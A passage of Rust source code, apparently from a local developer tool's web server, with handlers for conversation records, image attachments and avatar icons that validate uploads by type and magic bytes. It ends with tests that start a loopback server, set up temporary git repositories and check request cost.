8249 let id = resolve_talk(&ui.talks, &id)?;
8250 let mut talk = ui.talks.get(&id)?;
8251 talk::reopen(&mut talk, &ui.talks)?;
8252 let thinking = ui.is_thinking(&talk.id);
8253 Ok(Json(TalkView::new(talk, thinking, &ui.home)))
8254 })
8255 .await
8256}
8257
8258async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
8268 blocking(move || {
8269 let id = resolve_talk(&ui.talks, &id)?;
8270 ui.talks.remove(&id)?;
8271 Ok(StatusCode::NO_CONTENT)
8272 })
8273 .await
8274}
8275
8276fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
8278 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
8279}
8280
8281async fn talk_attachment_post(
8284 State(ui): State<Arc<Ui>>,
8285 Path(id): Path<String>,
8286 headers: HeaderMap,
8287 body: Bytes,
8288) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
8289 let mime = validate_attachment(&headers, &body)?;
8290 let name = filename_header(&headers);
8291 let data = body.to_vec();
8292 blocking(move || {
8293 let id = resolve_talk(&ui.talks, &id)?;
8294 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
8295 Ok((StatusCode::CREATED, Json(att)))
8296 })
8297 .await
8298}
8299
8300async fn talk_attachment_get(
8303 State(ui): State<Arc<Ui>>,
8304 Path((id, att)): Path<(String, String)>,
8305) -> ApiResult<Response> {
8306 blocking(move || {
8307 let id = resolve_talk(&ui.talks, &id)?;
8308 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
8309 return Err(ApiError::not_found(format!(
8310 "talk {id} has no attachment `{att}`"
8311 )));
8312 };
8313 Ok(attachment_response(&meta.mime, data))
8314 })
8315 .await
8316}
8317
8318fn avatar_url(talk_id: &str, p: &persona::Persona) -> String {
8321 let mut id = String::new();
8322 for b in p.id.bytes() {
8323 if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
8324 id.push(char::from(b));
8325 } else {
8326 id.push_str(&format!("%{b:02X}"));
8327 }
8328 }
8329 format!(
8330 "/api/talks/{talk_id}/avatar?persona={id}&v={}",
8331 persona_icon::fingerprint(p.icon.as_deref())
8332 )
8333}
8334
8335#[derive(Debug, Default, Deserialize)]
8336struct AvatarQuery {
8337 persona: Option<String>,
8338 builtin: Option<String>,
8340}
8341
8342const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
8344
8345fn builtin_avatar(id: &str) -> Response {
8346 svg_avatar(persona_icon::builtin_svg(id))
8347}
8348
8349async fn operator_avatar() -> Response {
8350 svg_avatar(persona_icon::operator_svg())
8351}
8352
8353fn svg_avatar(svg: &'static str) -> Response {
8354 (
8355 [
8356 (header::CONTENT_TYPE, "image/svg+xml"),
8357 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8358 (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
8359 (header::CACHE_CONTROL, "no-cache"),
8360 ],
8361 svg,
8362 )
8363 .into_response()
8364}
8365
8366fn magi_icon_path(home: &FsPath) -> PathBuf {
8368 home.join("magi-icon.data")
8369}
8370
8371fn read_magi_icon(home: &FsPath) -> Option<String> {
8372 let path = magi_icon_path(home);
8373 let metadata = std::fs::metadata(&path).ok()?;
8374 if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
8375 return None;
8376 }
8377 let file = std::fs::File::open(path).ok()?;
8378 use std::io::Read;
8379 let mut text = String::new();
8380 file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
8381 .read_to_string(&mut text)
8382 .ok()?;
8383 if text.len() > persona_icon::ICON_MAX_BYTES {
8384 return None;
8385 }
8386 text.starts_with("data:").then_some(text)
8387}
8388
8389fn magi_icon_url(home: &FsPath) -> String {
8390 format!(
8391 "/avatars/magi?v={}",
8392 persona_icon::fingerprint(read_magi_icon(home).as_deref())
8393 )
8394}
8395
8396async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
8397 Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
8398}
8399
8400#[derive(Deserialize)]
8401struct MagiIconUpload {
8402 icon: String,
8403}
8404
8405fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
8406 if !icon.starts_with("data:") {
8407 anyhow::bail!("upload a raster image");
8408 }
8409 let (mime, bytes) = persona_icon::load(icon)?;
8410 if sniffed_mime(&bytes) != Some(mime) {
8411 anyhow::bail!("image content does not match its type");
8412 }
8413 std::fs::create_dir_all(home)?;
8414 let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
8415 let temp = home.join(format!(".magi-icon-{token}.tmp"));
8416 let result = (|| -> Result<()> {
8417 use std::io::Write;
8418 let mut file = std::fs::OpenOptions::new()
8419 .write(true)
8420 .create_new(true)
8421 .open(&temp)?;
8422 file.write_all(icon.as_bytes())?;
8423 file.sync_all()?;
8424 std::fs::rename(&temp, magi_icon_path(home))?;
8425 Ok(())
8426 })();
8427 let _ = std::fs::remove_file(temp);
8428 result?;
8429 Ok(())
8430}
8431
8432async fn magi_icon_put(
8433 State(ui): State<Arc<Ui>>,
8434 Json(upload): Json<MagiIconUpload>,
8435) -> ApiResult<Json<serde_json::Value>> {
8436 blocking(move || {
8437 if !upload.icon.starts_with("data:") {
8438 return Err(ApiError::bad_request("upload a raster image"));
8439 }
8440 let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
8441 if sniffed_mime(&bytes) != Some(mime) {
8442 return Err(ApiError::bad_request(
8443 "image content does not match its type",
8444 ));
8445 }
8446 save_magi_icon(&ui.home, &upload.icon)?;
8447 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
8448 })
8449 .await
8450}
8451
8452async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8453 blocking(move || {
8454 match std::fs::remove_file(magi_icon_path(&ui.home)) {
8455 Ok(()) => (),
8456 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
8457 Err(e) => return Err(anyhow::Error::from(e).into()),
8458 }
8459 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
8460 })
8461 .await
8462}
8463
8464async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
8465 let icon = (q.builtin.is_none())
8466 .then(|| read_magi_icon(&ui.home))
8467 .flatten();
8468 let mut response = match icon
8469 .as_deref()
8470 .and_then(|icon| persona_icon::load(icon).ok())
8471 {
8472 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
8473 attachment_response(mime, bytes)
8474 }
8475 _ => svg_avatar(persona_icon::magi_svg()),
8476 };
8477 response
8478 .headers_mut()
8479 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
8480 response
8481}
8482
8483async fn talk_avatar(
8488 State(ui): State<Arc<Ui>>,
8489 Path(id): Path<String>,
8490 Query(q): Query<AvatarQuery>,
8491) -> ApiResult<Response> {
8492 blocking(move || {
8493 let id = resolve_talk(&ui.talks, &id)?;
8494 let talk = ui.talks.get(&id)?;
8495 let wanted = q
8496 .persona
8497 .as_deref()
8498 .map(str::trim)
8499 .filter(|p| !p.is_empty())
8500 .unwrap_or(&talk.persona)
8501 .to_owned();
8502 let specs = match Config::discover(&talk.repo, None) {
8503 Ok((cfg, _)) => cfg.talk.personas,
8504 Err(e) => {
8505 tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
8506 Vec::new()
8507 }
8508 };
8509 let Some(found) = persona::find(&specs, &wanted) else {
8510 return Ok(builtin_avatar(persona::DEFAULT_ID));
8511 };
8512 let Some(icon) = found.icon.as_deref().filter(|_| q.builtin.is_none()) else {
8513 return Ok(builtin_avatar(&found.id));
8514 };
8515 match persona_icon::load(icon) {
8516 Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
8517 let mut res = attachment_response(mime, bytes);
8518 res.headers_mut().insert(
8519 header::CACHE_CONTROL,
8520 header::HeaderValue::from_static("no-cache"),
8521 );
8522 Ok(res)
8523 }
8524 Ok((mime, _)) => {
8525 tracing::warn!(
8526 "avatar: icon of persona `{}` is not really {mime}; using the built-in",
8527 found.id
8528 );
8529 Ok(builtin_avatar(&found.id))
8530 }
8531 Err(e) => {
8532 tracing::warn!(
8533 "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
8534 found.id
8535 );
8536 Ok(builtin_avatar(&found.id))
8537 }
8538 }
8539 })
8540 .await
8541}
8542
8543fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
8554 if data.len() > ATTACHMENT_MAX_BYTES {
8555 return Err(ApiError::bad_request(format!(
8556 "attachment is {} bytes, over the {} MiB limit",
8557 data.len(),
8558 ATTACHMENT_MAX_BYTES / (1024 * 1024)
8559 ))
8560 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
8561 }
8562 if data.is_empty() {
8563 return Err(ApiError::bad_request("attachment is empty"));
8564 }
8565 let declared = declared_mime(headers)?;
8566 match sniffed_mime(data) {
8567 Some(sniffed) if sniffed == declared => Ok(declared),
8568 Some(sniffed) => Err(ApiError::bad_request(format!(
8569 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
8570 ))),
8571 None => Err(ApiError::bad_request(
8572 "the file's bytes do not match any accepted image format",
8573 )),
8574 }
8575}
8576
8577fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
8581 let raw = headers
8582 .get(header::CONTENT_TYPE)
8583 .and_then(|v| v.to_str().ok())
8584 .unwrap_or("")
8585 .split(';')
8586 .next()
8587 .unwrap_or("")
8588 .trim()
8589 .to_ascii_lowercase();
8590 ATTACHMENT_MIME_WHITELIST
8591 .iter()
8592 .find(|&&m| m == raw)
8593 .copied()
8594 .ok_or_else(|| {
8595 if raw == "image/svg+xml" {
8596 ApiError::bad_request(
8597 "SVG is not accepted: it can carry active content (e.g. a <script>), \
8598 not just a picture",
8599 )
8600 } else if raw.is_empty() {
8601 ApiError::bad_request("Content-Type is required for an attachment upload")
8602 } else {
8603 ApiError::bad_request(format!(
8604 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
8605 image/gif or image/webp"
8606 ))
8607 }
8608 })
8609}
8610
8611fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
8614 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
8615 Some("image/png")
8616 } else if data.starts_with(b"\xff\xd8\xff") {
8617 Some("image/jpeg")
8618 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
8619 Some("image/gif")
8620 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
8621 Some("image/webp")
8622 } else {
8623 None
8624 }
8625}
8626
8627fn filename_header(headers: &HeaderMap) -> String {
8633 headers
8634 .get(FILENAME_HEADER)
8635 .and_then(|v| v.to_str().ok())
8636 .map(str::trim)
8637 .filter(|s| !s.is_empty())
8638 .unwrap_or("attachment")
8639 .to_owned()
8640}
8641
8642fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
8649 let content_type = ATTACHMENT_MIME_WHITELIST
8650 .iter()
8651 .find(|&&m| m == mime)
8652 .copied()
8653 .unwrap_or("application/octet-stream");
8654 (
8655 [
8656 (header::CONTENT_TYPE, content_type),
8657 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8658 ],
8659 body,
8660 )
8661 .into_response()
8662}
8663
8664async fn config_for(repo: &FsPath) -> ApiResult<Config> {
8672 let repo = repo.to_path_buf();
8673 blocking(move || {
8674 let (cfg, _) = Config::discover(&repo, None)?;
8675 Ok(cfg)
8676 })
8677 .await
8678}
8679
8680fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
8686 let mut hits = ids
8687 .into_iter()
8688 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
8689 match (hits.next(), hits.next()) {
8690 (Some(one), None) => Ok(one),
8691 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
8692 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
8693 "`{prefix}` matches more than one {what}, including {a} and {b}"
8694 ))),
8695 }
8696}
8697
8698#[cfg(test)]
8699mod tests {
8700
8701 #[test]
8702 fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
8703 let dir = tempfile::tempdir().unwrap();
8704 let store = ask::Questions::at(dir.path().join("questions"));
8705 let mut q = Question::new(
8706 "task".to_owned(),
8707 "conduct".to_owned(),
8708 "conduct".to_owned(),
8709 "choose".to_owned(),
8710 String::new(),
8711 vec!["keep".to_owned()],
8712 );
8713 q.deputy = Some(ask::Deputy::new("brief".to_owned()));
8714 q.say("why?").unwrap();
8715 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
8716 assert!(!QuestionView::of(q.clone(), &store, true).deputy_exhausted);
8717 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
8718 store.put(&mut q).unwrap();
8719 assert!(QuestionView::of(q.clone(), &store, true).deputy_exhausted);
8720 assert_eq!(store.count_needs_owner(), 1);
8721 store.beat(&q.id, ask::WaiterKind::Deputy);
8722 assert!(!QuestionView::of(q.clone(), &store, true).deputy_exhausted);
8723 assert_eq!(store.count_needs_owner(), 0);
8724 let mut stale = store.read_lease(&q.id).unwrap();
8725 stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
8726 std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
8727 let view = QuestionView::of(q.clone(), &store, true);
8728 assert!(view.deputy_exhausted);
8729 assert!(view.waiting_on_agent);
8730 assert_eq!(view.question.choices, ["keep"]);
8731 store.drop_lease(&q.id);
8732 q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
8733 assert!(!QuestionView::of(q, &store, true).deputy_exhausted);
8734 }
8735
8736 #[test]
8737 fn holder_reads_the_lease_not_the_record() {
8738 let mut q = Question::new(
8739 "run".to_owned(),
8740 "implement".to_owned(),
8741 "impl-A".to_owned(),
8742 "which?".to_owned(),
8743 String::new(),
8744 Vec::new(),
8745 );
8746 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
8747 q.cwd = Some("/tmp".to_owned());
8748 assert_eq!(holder_of(&q, None), Some("nobody"));
8749 let beat = |kind, ago: i64| ask::Lease {
8750 kind,
8751 pid: 1,
8752 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
8753 .unwrap(),
8754 };
8755 let fresh = beat(ask::WaiterKind::Asker, 1);
8756 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
8757 let daemon = beat(ask::WaiterKind::Daemon, 1);
8758 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
8759 let stale = beat(ask::WaiterKind::Asker, 3600);
8760 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
8761
8762 let mut c = Question::new(
8765 "task".to_owned(),
8766 crate::conduct::NODE.to_owned(),
8767 "conduct".to_owned(),
8768 "which?".to_owned(),
8769 String::new(),
8770 Vec::new(),
8771 );
8772 assert_eq!(holder_of(&c, None), Some("nobody"));
8773 c.cwd = Some("/tmp".to_owned());
8774 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
8775 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
8776 let deputy = beat(ask::WaiterKind::Deputy, 1);
8777 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
8778 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
8779
8780 let mut r = Question::new(
8782 String::new(),
8783 crate::bump::NOTICE_NODE.to_owned(),
8784 "release-watch".to_owned(),
8785 "stuck?".to_owned(),
8786 String::new(),
8787 vec!["hold".to_owned()],
8788 );
8789 assert_eq!(holder_of(&r, None), Some("nobody"));
8790 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
8791 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
8792 r.deputy = None;
8794 r.seat = "bump".to_owned();
8795 assert_eq!(holder_of(&r, None), None);
8796
8797 let mut m = Question::new(
8800 "run".to_owned(),
8801 crate::land::APPROVAL_NODE.to_owned(),
8802 "land".to_owned(),
8803 "merge?".to_owned(),
8804 String::new(),
8805 Vec::new(),
8806 );
8807 assert_eq!(holder_of(&m, None), Some("nobody"));
8808 assert_eq!(
8809 holder_of(&m, Some(&fresh)),
8810 Some("nobody"),
8811 "a lease with no deputy is not a listener"
8812 );
8813 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
8814 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
8815 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
8816 assert_eq!(holder_of(&m, None), Some("nobody"));
8817 }
8818
8819 fn stub_config() -> Config {
8820 Config {
8823 agents: vec![crate::config::AgentSpec {
8824 id: "stub".to_owned(),
8825 kind: AgentKind::Command,
8826 model: None,
8827 command: vec!["true".to_owned()],
8828 extra_args: Vec::new(),
8829 env: Default::default(),
8830 prompt_delivery: None,
8831 }],
8832 ..Config::default()
8833 }
8834 }
8835
8836 fn plain_question(seat: &str) -> Question {
8837 Question::new(
8838 String::new(),
8839 "n".to_owned(),
8840 seat.to_owned(),
8841 "s".to_owned(),
8842 String::new(),
8843 Vec::new(),
8844 )
8845 }
8846
8847 #[test]
8848 fn deputies_enabled_follows_the_config() {
8849 let on = stub_config();
8850 assert!(crate::deputy::can_start(Some(&on), ""));
8851 assert!(crate::deputy::can_start(Some(&on), "stub"));
8852 let mut off = on.clone();
8853 off.daemon.max_deputies = 0;
8854 assert!(!crate::deputy::can_start(Some(&off), ""));
8855 let mut empty = on;
8856 empty.agents.clear();
8857 assert!(!crate::deputy::can_start(Some(&empty), ""));
8858 assert!(!crate::deputy::can_start(None, ""));
8859 }
8860
8861 #[test]
8862 fn question_views_load_the_config_once() {
8863 let dir = TempDir::new().unwrap();
8864 let store = ask::Questions::at(dir.path().to_path_buf());
8865 let mut with_deputy = plain_question("b");
8866 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
8867 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
8868
8869 let calls = std::cell::Cell::new(0usize);
8870 let views = question_views(qs.clone(), &store, || {
8871 calls.set(calls.get() + 1);
8872 Some(stub_config())
8873 });
8874 assert_eq!(calls.get(), 1);
8875 assert_eq!(views.len(), 3);
8876 for (v, q) in views.iter().zip(&qs) {
8877 assert_eq!(
8878 v.deputies_enabled,
8879 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
8880 );
8881 }
8882
8883 let views = question_views(qs, &store, || None);
8884 assert!(views.iter().all(|v| !v.deputies_enabled));
8885
8886 let calls = std::cell::Cell::new(0usize);
8887 let views = question_views(Vec::new(), &store, || {
8888 calls.set(calls.get() + 1);
8889 None
8890 });
8891 assert!(views.is_empty());
8892 assert_eq!(calls.get(), 0);
8893 }
8894
8895 use pretty_assertions::assert_eq;
8896 use serde_json::Value;
8897 use tempfile::TempDir;
8898 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
8899
8900 use super::*;
8901 use crate::config::Config;
8902 use crate::queue::Source;
8903
8904 const SETTLE_STEPS: usize = 3_000;
8915
8916 struct Fixture {
8922 home: TempDir,
8923 addr: SocketAddr,
8924 }
8925
8926 impl Fixture {
8927 async fn start() -> Self {
8928 Self::with_loop(launch_idle).await
8929 }
8930
8931 async fn with_loop(launch: Launch) -> Self {
8933 let home = TempDir::new().expect("temp home");
8934 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
8935 Self { home, addr }
8936 }
8937
8938 async fn with_repo(repo: PathBuf) -> Self {
8942 let home = TempDir::new().expect("temp home");
8943 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
8944 Self { home, addr }
8945 }
8946
8947 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
8950 let home = TempDir::new().expect("temp home");
8951 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
8952 Self { home, addr }
8953 }
8954
8955 async fn serve(
8956 home: &FsPath,
8957 repo: PathBuf,
8958 launch: Launch,
8959 machine: Option<PathBuf>,
8960 ) -> SocketAddr {
8961 let queue = Queue::at(home.join("queue"));
8962 let runs = home.join("runs");
8963 std::fs::create_dir_all(&runs).expect("runs dir");
8964 let worktrees = home.join("wt").join("magi");
8965 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
8966 let ui = Ui::new(
8967 queue,
8968 Questions::at(home.join("questions")),
8969 Talks::at(home.join("talks")),
8970 runs,
8971 home.to_path_buf(),
8972 repo,
8973 )
8974 .with_worktrees_root(worktrees)
8975 .with_machine_config(machine)
8976 .with_launch(launch);
8977 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
8978 .await
8979 .expect("bind loopback");
8980 let addr = listener.local_addr().expect("local addr");
8981 tokio::spawn(async move {
8982 let router = ui
8983 .router()
8984 .layer(axum::middleware::from_fn(request_cost::observe));
8985 let _ = axum::serve(listener, router).await;
8986 });
8987 addr
8988 }
8989
8990 fn queue(&self) -> Queue {
8991 Queue::at(self.home.path().join("queue"))
8992 }
8993
8994 fn questions(&self) -> Questions {
8995 Questions::at(self.home.path().join("questions"))
8996 }
8997
8998 fn talks(&self) -> Talks {
8999 Talks::at(self.home.path().join("talks"))
9000 }
9001
9002 fn runs(&self) -> PathBuf {
9003 self.home.path().join("runs")
9004 }
9005
9006 async fn get(&self, path: &str) -> Res {
9007 request(self.addr, "GET", path, None).await
9008 }
9009
9010 async fn head(&self, path: &str) -> Res {
9015 request(self.addr, "HEAD", path, None).await
9016 }
9017
9018 async fn post(&self, path: &str, body: Option<&str>) -> Res {
9019 request(self.addr, "POST", path, body).await
9020 }
9021
9022 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
9023 request_with(self.addr, "GET", path, None, extra).await
9024 }
9025
9026 async fn delete(&self, path: &str) -> Res {
9027 request(self.addr, "DELETE", path, None).await
9028 }
9029
9030 async fn put(&self, path: &str, body: &str) -> Res {
9031 request(self.addr, "PUT", path, Some(body)).await
9032 }
9033
9034 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
9036 request_bytes(self.addr, path, headers, body).await
9037 }
9038 }
9039
9040 async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
9043 let tmp = TempDir::new().unwrap();
9044 let mut repos = Vec::new();
9045 for name in ["one", "two"] {
9046 let repo = tmp.path().join(name);
9047 let origin = tmp.path().join(format!("{name}.git"));
9048 std::fs::create_dir_all(&repo).unwrap();
9049 crate::git::git(&repo, &["init", "-b", "main"])
9050 .await
9051 .unwrap();
9052 std::fs::write(
9053 repo.join("magi.toml"),
9054 format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
9055 )
9056 .unwrap();
9057 crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
9058 crate::git::git(
9059 &repo,
9060 &[
9061 "-c",
9062 "user.name=fixture",
9063 "-c",
9064 "user.email=fixture@example.invalid",
9065 "commit",
9066 "-m",
9067 "fixture",
9068 ],
9069 )
9070 .await
9071 .unwrap();
9072 crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
9073 .await
9074 .unwrap();
9075 crate::git::git(
9076 &repo,
9077 &["remote", "add", "origin", origin.to_str().unwrap()],
9078 )
9079 .await
9080 .unwrap();
9081 crate::git::git(&repo, &["push", "origin", "main"])
9082 .await
9083 .unwrap();
9084 crate::git::git(
9085 &repo,
9086 &[
9087 "symbolic-ref",
9088 "refs/remotes/origin/HEAD",
9089 "refs/remotes/origin/main",
9090 ],
9091 )
9092 .await
9093 .unwrap();
9094 let (cfg, _) = Config::discover(&repo, None).unwrap();
9095 assert!(cfg.agents.iter().any(|a| a.id == "mock"));
9096 repos.push(repo);
9097 }
9098 let repos: [PathBuf; 2] = repos.try_into().unwrap();
9099 (tmp, repos)
9100 }
9101
9102 async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
9103 let (tmp, repos) = performance_repositories().await;
9104 let machine = tmp.path().join("machine.toml");
9105 std::fs::write(&machine, "").unwrap();
9106 let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
9107 (tmp, repos, fx)
9108 }
9109
9110 fn seed_performance(
9111 fx: &Fixture,
9112 repos: &[PathBuf; 2],
9113 questions: usize,
9114 runs: usize,
9115 items: usize,
9116 ) {
9117 for i in fx.questions().list().len()..questions {
9119 let mut question = Question::new(
9120 "20261001-000000-0000".into(),
9121 "implement".into(),
9122 "impl-A".into(),
9123 format!("question {i}"),
9124 "context".into(),
9125 vec!["yes".into(), "no".into()],
9126 );
9127 question.id = format!("20261003-000000-{i:04x}");
9128 fx.questions().put(&mut question).unwrap();
9129 }
9130 for i in run_ids(&fx.runs()).len()..runs {
9131 write_run_repo(
9132 &fx.runs(),
9133 &format!("20261001-000000-{i:04x}"),
9134 RunStatus::Ready,
9135 repos[i % 2].to_str().unwrap(),
9136 );
9137 }
9138 for i in fx.talks().list().len()..items {
9139 let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
9140 let mut talk = fx.talks().get(&id).unwrap();
9141 talk.repo = repos[i % 2].clone();
9142 fx.talks().put(&mut talk).unwrap();
9143 let mut task = crate::queue::Task::new(
9144 format!("task {i}"),
9145 "instruction".into(),
9146 repos[i % 2].clone(),
9147 crate::queue::Source::Agent {
9148 run: id,
9149 node: crate::queue::CHAT_NODE.into(),
9150 },
9151 );
9152 task.id = format!("20261004-000000-{i:04x}");
9153 fx.queue().put(&mut task).unwrap();
9154 if i < crate::notices::CAP {
9156 Notices::at(fx.home.path().join("notifications"))
9157 .raise(Notice::info(&format!("notice-{i}"), "notification"))
9158 .unwrap();
9159 }
9160 }
9161 assert_eq!(fx.questions().list().len(), questions);
9162 assert_eq!(run_ids(&fx.runs()).len(), runs);
9163 assert_eq!(fx.talks().list().len(), items);
9164 assert_eq!(fx.queue().list().len(), items);
9165 assert_eq!(
9166 Notices::at(fx.home.path().join("notifications"))
9167 .list()
9168 .len(),
9169 items.min(crate::notices::CAP)
9170 );
9171 }
9172
9173 fn request_counts(res: &Res) -> (usize, usize) {
9174 assert_eq!(res.status, 200, "{}", res.body);
9175 (
9176 res.header("x-test-discoveries").unwrap().parse().unwrap(),
9177 res.header("x-test-git").unwrap().parse().unwrap(),
9178 )
9179 }
9180
9181 #[tokio::test]
9182 async fn list_request_cost_is_independent_of_record_count() {
9183 let (_tmp, repos, fx) = performance_fixture().await;
9184 let mut previous = None;
9185 for n in [4, 60] {
9186 seed_performance(&fx, &repos, n, n, n);
9187 let mut costs = Vec::new();
9188 for (path, discoveries) in [
9189 ("/api/questions", 1),
9190 ("/api/talks", 2),
9191 ("/api/health", 1),
9192 ("/api/stats", 1),
9193 ] {
9194 for repo in &repos {
9197 let cache = repo.join(".git/magi/config");
9198 if cache.exists() {
9199 std::fs::remove_dir_all(cache).unwrap();
9200 }
9201 }
9202 let cost = request_counts(&fx.get(path).await);
9203 eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
9204 assert_eq!(cost.0, discoveries, "{path}, N={n}");
9205 assert!(cost.1 > 0 && cost.1 <= 40, "{path}: {cost:?}");
9206 costs.push(cost);
9207 }
9208 if let Some(previous) = previous {
9209 assert_eq!(costs, previous);
9210 }
9211 previous = Some(costs);
9212 }
9213 }
9217
9218 #[tokio::test]
9221 async fn list_handler_cost_without_transport() {
9222 let (_tmp, repos) = performance_repositories().await;
9223 let fx = Fixture {
9224 home: TempDir::new().unwrap(),
9225 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
9226 };
9227 let ui = Arc::new(
9228 Ui::new(
9229 fx.queue(),
9230 fx.questions(),
9231 fx.talks(),
9232 fx.runs(),
9233 fx.home.path().to_path_buf(),
9234 repos[0].clone(),
9235 )
9236 .with_worktrees_root(fx.home.path().join("wt")),
9237 );
9238 let mut previous = None;
9239 for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
9240 seed_performance(&fx, &repos, n, runs, items);
9241 let mut costs = Vec::new();
9242 for endpoint in ["questions", "talks", "health", "stats"] {
9243 for repo in &repos {
9244 let cache = repo.join(".git/magi/config");
9245 if cache.exists() {
9246 std::fs::remove_dir_all(cache).unwrap();
9247 }
9248 }
9249 let (_, cost) = request_cost::measure(async {
9250 match endpoint {
9251 "questions" => {
9252 let _ = questions_list(State(ui.clone())).await.unwrap();
9253 }
9254 "talks" => {
9255 let _ = talks_list(
9256 State(ui.clone()),
9257 Query(ListQuery {
9258 limit: None,
9259 ids: None,
9260 }),
9261 )
9262 .await
9263 .unwrap();
9264 }
9265 "health" => {
9266 let _ = health(State(ui.clone())).await.unwrap();
9267 }
9268 _ => {
9269 let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
9270 .await
9271 .unwrap();
9272 }
9273 }
9274 })
9275 .await;
9276 eprintln!("{endpoint} handler N={n}: {cost:?}");
9277 assert_eq!(
9278 cost.0,
9279 if endpoint == "talks" { 2 } else { 1 },
9280 "{endpoint}"
9281 );
9282 assert!(cost.1 > 0 && cost.1 <= 40, "{endpoint}: {cost:?}");
9283 costs.push(cost);
9284 }
9285 if let Some(previous) = previous {
9286 assert_eq!(costs, previous);
9287 }
9288 previous = Some(costs);
9289 }
9290 }
9291
9292 #[tokio::test]
9293 async fn list_request_cost_scopes_do_not_mix() {
9294 let (_tmp, repos, fx) = performance_fixture().await;
9295 seed_performance(&fx, &repos, 10, 0, 10);
9296 let (questions, talks, notices) = tokio::join!(
9297 fx.get("/api/questions"),
